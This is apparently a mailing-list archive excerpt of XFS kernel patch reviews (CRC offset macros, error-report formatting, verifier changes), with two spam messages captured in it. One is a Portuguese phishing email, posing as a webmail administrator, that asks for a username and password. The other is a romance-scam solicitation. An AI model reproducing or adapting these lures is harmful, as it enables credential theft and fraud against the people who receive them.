changed, 24 insertions(+), 17 deletions(-) > > diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h > index 3fc1098..0fdd410 100644 > --- a/fs/xfs/xfs_ag.h > +++ b/fs/xfs/xfs_ag.h > @@ -89,6 +89,8 @@ typedef struct xfs_agf { > /* structure must be padded to 64 bit alignment */ > } xfs_agf_t; > > +#define XFS_AGF_CRC_OFF offsetof(struct xfs_agf, agf_crc) > + > #define XFS_AGF_MAGICNUM 0x00000001 > #define XFS_AGF_VERSIONNUM 0x00000002 > #define XFS_AGF_SEQNO 0x00000004 > @@ -167,6 +169,8 @@ typedef struct xfs_agi { > /* structure must be padded to 64 bit alignment */ > } xfs_agi_t; > > +#define XFS_AGI_CRC_OFF offsetof(struct xfs_agi, agi_crc) > + > #define XFS_AGI_MAGICNUM 0x00000001 > #define XFS_AGI_VERSIONNUM 0x00000002 > #define XFS_AGI_SEQNO 0x00000004 > @@ -222,6 +226,8 @@ typedef struct xfs_agfl { > __be32 agfl_bno[]; /* actually XFS_AGFL_SIZE(mp) */ > } xfs_agfl_t; > > +#define XFS_AGFL_CRC_OFF offsetof(struct xfs_agfl, agfl_crc) > + > /* > * tags for inode radix tree > */ > diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c > index 9eab2df..72ea855 100644 > --- a/fs/xfs/xfs_alloc.c > +++ b/fs/xfs/xfs_alloc.c > @@ -486,7 +486,7 @@ xfs_agfl_read_verify( > return; > > agfl_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_agfl, agfl_crc)); > + XFS_AGFL_CRC_OFF); > > agfl_ok = agfl_ok && xfs_agfl_verify(bp); > > @@ -516,8 +516,7 @@ xfs_agfl_write_verify( > if (bip) > XFS_BUF_TO_AGFL(bp)->agfl_lsn = cpu_to_be64(bip->bli_item.li_lsn); > > - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_agfl, agfl_crc)); > + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGFL_CRC_OFF); > } > > const struct xfs_buf_ops xfs_agfl_buf_ops = { > @@ -2242,7 +2241,7 @@ xfs_agf_read_verify( > > if (xfs_sb_version_hascrc(&mp->m_sb)) > agf_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_agf, agf_crc)); > + XFS_AGF_CRC_OFF); > > agf_ok = agf_ok && xfs_agf_verify(mp, bp); > > @@ -2272,8 +2271,7 @@ xfs_agf_write_verify( > if (bip) > XFS_BUF_TO_AGF(bp)->agf_lsn = cpu_to_be64(bip->bli_item.li_lsn); > > - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_agf, agf_crc)); > + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGF_CRC_OFF); > } > > const struct xfs_buf_ops xfs_agf_buf_ops = { > diff --git a/fs/xfs/xfs_dinode.h b/fs/xfs/xfs_dinode.h > index e5869b5..623bbe8 100644 > --- a/fs/xfs/xfs_dinode.h > +++ b/fs/xfs/xfs_dinode.h > @@ -89,6 +89,8 @@ typedef struct xfs_dinode { > /* structure must be padded to 64 bit alignment */ > } xfs_dinode_t; > > +#define XFS_DINODE_CRC_OFF offsetof(struct xfs_dinode, di_crc) > + > #define DI_MAX_FLUSH 0xffff > > /* > diff --git a/fs/xfs/xfs_format.h b/fs/xfs/xfs_format.h > index b6ab5a3..9898f31 100644 > --- a/fs/xfs/xfs_format.h > +++ b/fs/xfs/xfs_format.h > @@ -145,6 +145,8 @@ struct xfs_dsymlink_hdr { > __be64 sl_lsn; > }; > > +#define XFS_SYMLINK_CRC_OFF offsetof(struct xfs_dsymlink_hdr, sl_crc) > + > /* > * The maximum pathlen is 1024 bytes. Since the minimum file system > * blocksize is 512 bytes, we can get a max of 3 extents back from > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 5d7f105..d79210b 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -1572,7 +1572,7 @@ xfs_agi_read_verify( > > if (xfs_sb_version_hascrc(&mp->m_sb)) > agi_ok = xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_agi, agi_crc)); > + XFS_AGI_CRC_OFF); > agi_ok = agi_ok && xfs_agi_verify(bp); > > if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, > @@ -1600,8 +1600,7 @@ xfs_agi_write_verify( > > if (bip) > XFS_BUF_TO_AGI(bp)->agi_lsn = cpu_to_be64(bip->bli_item.li_lsn); > - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_agi, agi_crc)); > + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_AGI_CRC_OFF); > } > > const struct xfs_buf_ops xfs_agi_buf_ops = { > diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c > index 4fc9f39..606b43a 100644 > --- a/fs/xfs/xfs_inode_buf.c > +++ b/fs/xfs/xfs_inode_buf.c > @@ -306,7 +306,7 @@ xfs_dinode_verify( > if (!xfs_sb_version_hascrc(&mp->m_sb)) > return false; > if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, > - offsetof(struct xfs_dinode, di_crc))) > + XFS_DINODE_CRC_OFF)) > return false; > if (be64_to_cpu(dip->di_ino) != ip->i_ino) > return false; > @@ -327,7 +327,7 @@ xfs_dinode_calc_crc( > > ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); > crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, > - offsetof(struct xfs_dinode, di_crc)); > + XFS_DINODE_CRC_OFF); > dip->di_crc = xfs_end_cksum(crc); > } > > diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > index 1e11679..1ea7c86 100644 > --- a/fs/xfs/xfs_sb.c > +++ b/fs/xfs/xfs_sb.c > @@ -611,7 +611,7 @@ xfs_sb_read_verify( > dsb->sb_crc != 0)) { > > if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_sb, sb_crc))) { > + XFS_SB_CRC_OFF)) { > /* Only fail bad secondaries on a known V5 filesystem */ > if (bp->b_bn == XFS_SB_DADDR || > xfs_sb_version_hascrc(&mp->m_sb)) { > @@ -674,8 +674,7 @@ xfs_sb_write_verify( > if (bip) > XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); > > - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_sb, sb_crc)); > + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SB_CRC_OFF); > } > > const struct xfs_buf_ops xfs_sb_buf_ops = { > diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h > index 35061d4..f7b2fe7 100644 > --- a/fs/xfs/xfs_sb.h > +++ b/fs/xfs/xfs_sb.h > @@ -182,6 +182,8 @@ typedef struct xfs_sb { > /* must be padded to 64 bit alignment */ > } xfs_sb_t; > > +#define XFS_SB_CRC_OFF offsetof(struct xfs_sb, sb_crc) > + > /* > * Superblock - on disk version. Must match the in core version above. > * Must be padded to 64 bit alignment. > diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c > index bf59a2b..7a705a4 100644 > --- a/fs/xfs/xfs_symlink_remote.c > +++ b/fs/xfs/xfs_symlink_remote.c > @@ -134,7 +134,7 @@ xfs_symlink_read_verify( > return; > > if (!xfs_verify_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_dsymlink_hdr, sl_crc)) || > + XFS_SYMLINK_CRC_OFF) || > !xfs_symlink_verify(bp)) { > XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); > xfs_buf_ioerror(bp, EFSCORRUPTED); > @@ -162,8 +162,7 @@ xfs_symlink_write_verify( > struct xfs_dsymlink_hdr *dsl = bp->b_addr; > dsl->sl_lsn = cpu_to_be64(bip->bli_item.li_lsn); > } > - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), > - offsetof(struct xfs_dsymlink_hdr, sl_crc)); > + xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), XFS_SYMLINK_CRC_OFF); > } > > const struct xfs_buf_ops xfs_symlink_buf_ops = { > From eletrica@coopercel.com.br Wed Feb 19 04:20:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F0985800E for ; Wed, 19 Feb 2014 04:20:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B7AE88F8078 for ; Wed, 19 Feb 2014 02:20:10 -0800 (PST) X-ASG-Debug-ID: 1392805204-04bdf00fca1592f0001-w1Z2WR Received: from hm1481-177-50.email.locaweb.com.br (hm1481-177-50.email.locaweb.com.br [177.153.9.50]) by cuda.sgi.com with ESMTP id 7I5IL81hPtLKCyGG for ; Wed, 19 Feb 2014 02:20:05 -0800 (PST) X-Barracuda-Envelope-From: eletrica@coopercel.com.br X-Barracuda-Apparent-Source-IP: 177.153.9.50 Received: from mcbain0004.correio.pw (189.126.112.85) by hm1481-177-43.email.locaweb.com.br (PowerMTA(TM) v3.5r13) id h0i9ig0nvasm for ; Wed, 19 Feb 2014 08:18:59 -0300 (envelope-from ) Received: from moe0185.email.locaweb.com.br (moe0185.email.locaweb.com.br [10.20.124.2]) by mcbain0004.correio.pw (Postfix) with ESMTP id AA959332B71; Wed, 19 Feb 2014 07:20:03 -0300 (BRT) Received: from webmail.coopercel.com.br (localhost [127.0.0.1]) by moe0185.email.locaweb.com.br (Postfix) with ESMTP id AEE4B1EE48B3; Wed, 19 Feb 2014 07:20:02 -0300 (BRT) Received: from [41.203.69.4] via [41.203.69.4] by webmail.coopercel.com.br with HTTP (HTTP/1.1 POST); Wed, 19 Feb 2014 07:20:02 -0300 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=_ca3943a7b8a535bf9d918c8595164d13" Date: Wed, 19 Feb 2014 07:20:02 -0300 From: Administrador de correo To: undisclosed-recipients:; Subject: (sem assunto) Reply-To: X-ASG-Orig-Subj: (sem assunto) Mail-Reply-To: Message-ID: <607e6e5f96b77bfb2b79764e251e2c75@coopercel.com.br> X-Sender: eletrica@coopercel.com.br User-Agent: Webmail Locaweb x-locaweb-id: sJ2Nt1sI5Ap4TousElyX-WsMVLZ1GXDvJWE7f_fIaB9X3-q1Fj42fCmAzNnKcBbbSfmsCqeSzuFm8PKdixahkRtqbNluN1KuZ_yG6wPXsAjxkKpHGrRVtFk9G-PQ13aGRZfmhO5E36JriFVEP6SVSjMaVgT2mSmrUvY9c5oDIWjcFyRba6ed64tm-XzvymMm x-locaweb-id2: NjU2YzY1NzQ3MjY5NjM2MTQwNjM2ZjZmNzA2NTcyNjM2NTZjMmU2MzZmNmQyZTYyNzI= X-CMAE-Verdict: spam X-CMAE-Score: 100 X-CMAE-Analysis: v=2.1 cv=a6m+9CiF c=1 sm=1 tr=0 p=ViwMUOq8zpT_k5wrcBsA:9 a=TNwfFUnqewdVmPnD0jwuUA==:117 a=FyDBzy9T84LY6jxM0TcnYw==:17 a=VM7MXBOAAAAA:8 a=e8Y9lM5i6fIA:10 a=Pfy-lF_LAAAA:8 a=7UgiEuGqwzYA:10 a=CndMK2t15PsDWFvAqbkA:9 a=QEXdDO2ut3YA:10 a=_W_S_7VecoQA:10 X-Barracuda-Connect: hm1481-177-50.email.locaweb.com.br[177.153.9.50] X-Barracuda-Start-Time: 1392805204 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145275 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --=_ca3943a7b8a535bf9d918c8595164d13 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 -- Devido ao congestionamento recente em nosso servidor, nosso webmail seria encerrar todas as contas não utilizadas. Para confirmar sua conta ativa, que são obrigados a preencher os dados abaixo e enviar de volta à informação us.These seria usado para validar a sua conta para evitar que seja fechado. Nome completo: Nome de Usuário: senha: Reconfirmar Senha: Esta mensagem foi enviada automaticamente por um programa de Webmail que periodicamente verifica o tamanho de caixas de entrada, onde as novas mensagens são recebidas. O programa é executado semanalmente para garantir caixa ninguém cresce muito grande. Se sua caixa de entrada se torna muito grande, você não será capaz de receber novo e-mail Obrigado por utilizar nossos serviços de webmail. --=_ca3943a7b8a535bf9d918c8595164d13 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=UTF-8

 

-- 
Devido ao congestionamento recente em nosso servidor, nosso w= ebmail seria encerrar todas as contas não utilizadas. Para confirmar= sua conta ativa, que são obrigados a preencher os dados abaixo e en= viar de volta à informação us.These seria usado para v= alidar a sua conta para evitar que seja fechado. Nome completo: Nome de Usuário: senha: Reconfirmar Senha: Esta mensagem foi enviada automaticamente por um programa de Webmail que pe= riodicamente verifica o tamanho de caixas de entrada, onde as novas mensage= ns são recebidas. O programa é executado semanalmente para ga= rantir caixa ninguém cresce muito grande. Se sua caixa de entrada se= torna muito grande, você não será capaz de receber nov= o e-mail Obrigado por utilizar nossos serviços de webmail.
--=_ca3943a7b8a535bf9d918c8595164d13-- From missmisszarrina_salama@aol.fr Wed Feb 19 06:07:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_FROM,FREEMAIL_REPLY, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BD2828015 for ; Wed, 19 Feb 2014 06:07:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE7D930409B for ; Wed, 19 Feb 2014 04:07:04 -0800 (PST) X-ASG-Debug-ID: 1392811623-04cbb00c2b58f370001-w1Z2WR Received: from omr-d02.mx.aol.com (omr-d02.mx.aol.com [205.188.109.194]) by cuda.sgi.com with ESMTP id bMnJIHZnvW84PkYT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 19 Feb 2014 04:07:03 -0800 (PST) X-Barracuda-Envelope-From: missmisszarrina_salama@aol.fr X-Barracuda-Apparent-Source-IP: 205.188.109.194 Received: from mtaomg-mae01.mx.aol.com (mtaomg-mae01.mx.aol.com [172.26.254.143]) by omr-d02.mx.aol.com (Outbound Mail Relay) with ESMTP id 496ED701E26C1; Wed, 19 Feb 2014 07:07:03 -0500 (EST) Received: from core-mea001b.r1000.mail.aol.com (core-mea001.r1000.mail.aol.com [172.29.46.65]) by mtaomg-mae01.mx.aol.com (OMAG/Core Interface) with ESMTP id 825B138000081; Wed, 19 Feb 2014 07:07:02 -0500 (EST) X-MB-Message-Source: WebUI Subject: Hi dear X-MB-Message-Type: User X-ASG-Orig-Subj: Hi dear MIME-Version: 1.0 From: Zarrina Salama Content-Type: multipart/alternative; boundary="--------MB_8D0FB823BA31FED_13D0_1D9F6_webmail-m154.sysops.aol.com" X-Mailer: AOL WebMail 38394 - STANDARD Received: from 41.138.99.207 by webmail-m154.sysops.aol.com (64.12.101.131) with HTTP (WebMailUI); Wed, 19 Feb 2014 07:07:02 -0500 Message-Id: <8D0FB823BA31FED-13D0-7B16@webmail-m154.sysops.aol.com> X-Originating-IP: [41.138.99.207] Date: Wed, 19 Feb 2014 07:07:02 -0500 (EST) x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1392811623; bh=BrxnzSp3xe1XhYh7GC7nGxqyGsgm0ws4d3EMDbfRU8w=; h=From:Subject:Message-Id:Date:MIME-Version:Content-Type; b=lV5DL2D0/GBO4hoGto3YlUHoZwDWajbUVhb58eH5AfGGGjwt2HZ9cTAihyIn7sT+s mzRTpjeencY2mxk3C3io1yVqynk4ln6VUOWjM99aE1ObTRT/WOT606Qwg7PeLwj59d xAzbxKrCKLRLx6tuAzHWjVUTHE9UIdmESfJ45Z3k= x-aol-sid: 3039ac1afe8f53049e6646c4 X-Barracuda-Connect: omr-d02.mx.aol.com[205.188.109.194] X-Barracuda-Start-Time: 1392811623 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.21 X-Barracuda-Spam-Status: No, SCORE=1.21 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145278 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; This is a multi-part message in MIME format. ----------MB_8D0FB823BA31FED_13D0_1D9F6_webmail-m154.sysops.aol.com Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset="us-ascii" =20 Hi dear How are you today, I hope all is well with you, My name is miss Zarrina, I = was so impressed to came across your profile today which drag my interest i= n you, I will also like to know more about you, reply directly to my person= al Email ID (zarrinasalama@live.com) so that I can send you more details ab= out myself including my picture. I believe we can move from here. Bear in m= ind that friendship and Love has no colors barrier, or distance barrier, th= e only important thing there is love. hope to hear from you soon email.( za= rrinasalama@live.com) Yours Sincerely Miss Zarrina ----------MB_8D0FB823BA31FED_13D0_1D9F6_webmail-m154.sysops.aol.com Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset="us-ascii"

Hi dear
How are you today, I hope all is well with you, My name is miss Zarrina, I=20 was so impressed to came across your profile today which drag my=20 interest in you, I will also like to know more about you, reply directly to my personal Email ID (zarrinasalama@live.com) so that I can send you more details about myself including my picture. I believe we can move=20 from here. Bear in mind that friendship and Love has no colors barrier,=20 or distance barrier, the only important thing there is love. hope to=20 hear from you soon email.( zarrinasalama@live.com)
Yours Sincerely
Miss Zarrina
----------MB_8D0FB823BA31FED_13D0_1D9F6_webmail-m154.sysops.aol.com-- From jeff.liu@oracle.com Wed Feb 19 06:42:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 845E37FE9 for ; Wed, 19 Feb 2014 06:42:57 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 77A478F8039 for ; Wed, 19 Feb 2014 04:42:54 -0800 (PST) X-ASG-Debug-ID: 1392813769-04cbb00c29592240001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id daKHTPaGcJbt35Jq (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 19 Feb 2014 04:42:49 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s1JCglQO024396 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 19 Feb 2014 12:42:48 GMT Received: from aserz7022.oracle.com (aserz7022.oracle.com [141.146.126.231]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1JCglGW028644 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 19 Feb 2014 12:42:47 GMT Received: from abhmp0013.oracle.com (abhmp0013.oracle.com [141.146.116.19]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s1JCgl46017597; Wed, 19 Feb 2014 12:42:47 GMT Received: from [192.168.1.106] (/123.119.98.215) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 19 Feb 2014 04:42:46 -0800 Message-ID: <5304A6BD.8070605@oracle.com> Date: Wed, 19 Feb 2014 20:42:37 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 8/9] xfs: print useful caller information in xfs_error_report References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-9-git-send-email-sandeen@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 8/9] xfs: print useful caller information in xfs_error_report In-Reply-To: <1392767549-25574-9-git-send-email-sandeen@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1392813769 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145278 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/19 2014 07:52 AM, Eric Sandeen wrote: > xfs_error_report used to just print the hex address of the caller; > %pF will give us something more human-readable. > > Signed-off-by: Eric Sandeen > --- > fs/xfs/xfs_error.c | 2 +- > 1 files changed, 1 insertions(+), 1 deletions(-) > > diff --git a/fs/xfs/xfs_error.c b/fs/xfs/xfs_error.c > index 8733c59..04d8e65 100644 > --- a/fs/xfs/xfs_error.c > +++ b/fs/xfs/xfs_error.c > @@ -156,7 +156,7 @@ xfs_error_report( > { > if (level <= xfs_error_level) { > xfs_alert_tag(mp, XFS_PTAG_ERROR_REPORT, > - "Internal error %s at line %d of file %s. Caller 0x%p", > + "Internal error %s at line %d of file %s. Caller %pF", > tag, linenum, filename, ra); > > xfs_stack_trace(); Reviewed-by: Jie Liu In comparison with the hex code, this is obviously more readable as below. Patched: ------- XFS (sda7): Internal error xfs_sb_read_verify at line 630 of file fs/xfs/xfs_sb.c. Caller xfs_buf_iodone_work+0xa5/0xd0 [xfs] Call Trace: [] dump_stack+0x45/0x56 [] xfs_error_report+0x3b/0x40 [xfs] [] ? xfs_buf_iodone_work+0xa5/0xd0 [xfs] [] xfs_corruption_error+0x55/0x80 [xfs] [] xfs_sb_read_verify+0x143/0x150 [xfs] [] ? xfs_buf_iodone_work+0xa5/0xd0 [xfs] [] ? process_one_work+0x1af/0x540 [] xfs_buf_iodone_work+0xa5/0xd0 [xfs] Old: ---- [ 235.506754] XFS (sda7): Internal error xfs_sb_read_verify at line 630 of file fs/xfs/xfs_sb.c. Caller 0xffffffffa08aa6b5 [ 235.506796] Call Trace: [ 235.506802] [] dump_stack+0x45/0x56 [ 235.506818] [] xfs_error_report+0x3b/0x40 [xfs] [ 235.506832] [] ? xfs_buf_iodone_work+0xa5/0xd0 [xfs] [ 235.506845] [] xfs_corruption_error+0x55/0x80 [xfs] [ 235.506871] [] xfs_sb_read_verify+0x143/0x150 [xfs] [ 235.506885] [] ? xfs_buf_iodone_work+0xa5/0xd0 [xfs] [ 235.506890] [] ? process_one_work+0x1af/0x540 [ 235.506903] [] xfs_buf_iodone_work+0xa5/0xd0 [xfs] Thanks, -Jeff From bfoster@redhat.com Wed Feb 19 08:01:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7E1DB801B for ; Wed, 19 Feb 2014 08:01:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 75FFE8F804B for ; Wed, 19 Feb 2014 06:01:46 -0800 (PST) X-ASG-Debug-ID: 1392818505-04cb6c6de159d310001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id PzcP5JHEAqHci0hQ for ; Wed, 19 Feb 2014 06:01:45 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1JE1h7u005825 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 19 Feb 2014 09:01:43 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1JE1bQ4004453; Wed, 19 Feb 2014 09:01:38 -0500 Message-ID: <5304B941.5090800@redhat.com> Date: Wed, 19 Feb 2014 09:01:37 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 9/9] xfs: modify verifiers to differentiate CRC from other errors References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> <1392767549-25574-10-git-send-email-sandeen@redhat.com> X-ASG-Orig-Subj: Re: [PATCH 9/9] xfs: modify verifiers to differentiate CRC from other errors In-Reply-To: <1392767549-25574-10-git-send-email-sandeen@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392818505 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 02/18/2014 06:52 PM, Eric Sandeen wrote: > Modify all read & write verifiers to differentiate > between CRC errors and other inconsistencies. > > This sets the appropriate error number on bp->b_error, > and then calls xfs_verifier_error() if something went > wrong. That function will issue the appropriate message > to the user. > > Signed-off-by: Eric Sandeen > --- > fs/xfs/xfs_alloc.c | 37 +++++++++++++++++-------------------- > fs/xfs/xfs_alloc_btree.c | 15 ++++++++------- > fs/xfs/xfs_attr_leaf.c | 14 ++++++++------ > fs/xfs/xfs_attr_remote.c | 15 ++++++--------- > fs/xfs/xfs_bmap_btree.c | 16 ++++++++-------- > fs/xfs/xfs_da_btree.c | 14 ++++++++------ > fs/xfs/xfs_dir2_block.c | 14 ++++++++------ > fs/xfs/xfs_dir2_data.c | 17 +++++++++-------- > fs/xfs/xfs_dir2_leaf.c | 14 ++++++++------ > fs/xfs/xfs_dir2_node.c | 14 ++++++++------ > fs/xfs/xfs_dquot_buf.c | 11 +++++++---- > fs/xfs/xfs_ialloc.c | 12 ++++++++---- > fs/xfs/xfs_ialloc_btree.c | 15 ++++++++------- > fs/xfs/xfs_inode_buf.c | 3 +-- > fs/xfs/xfs_sb.c | 10 ++++------ > fs/xfs/xfs_symlink_remote.c | 12 +++++++----- > 16 files changed, 123 insertions(+), 110 deletions(-) > > diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c > index 9c7cf3d..9a93601 100644 > --- a/fs/xfs/xfs_alloc.c > +++ b/fs/xfs/xfs_alloc.c > @@ -474,7 +474,6 @@ xfs_agfl_read_verify( > struct xfs_buf *bp) > { > struct xfs_mount *mp = bp->b_target->bt_mount; > - int agfl_ok = 1; > > /* > * There is no verification of non-crc 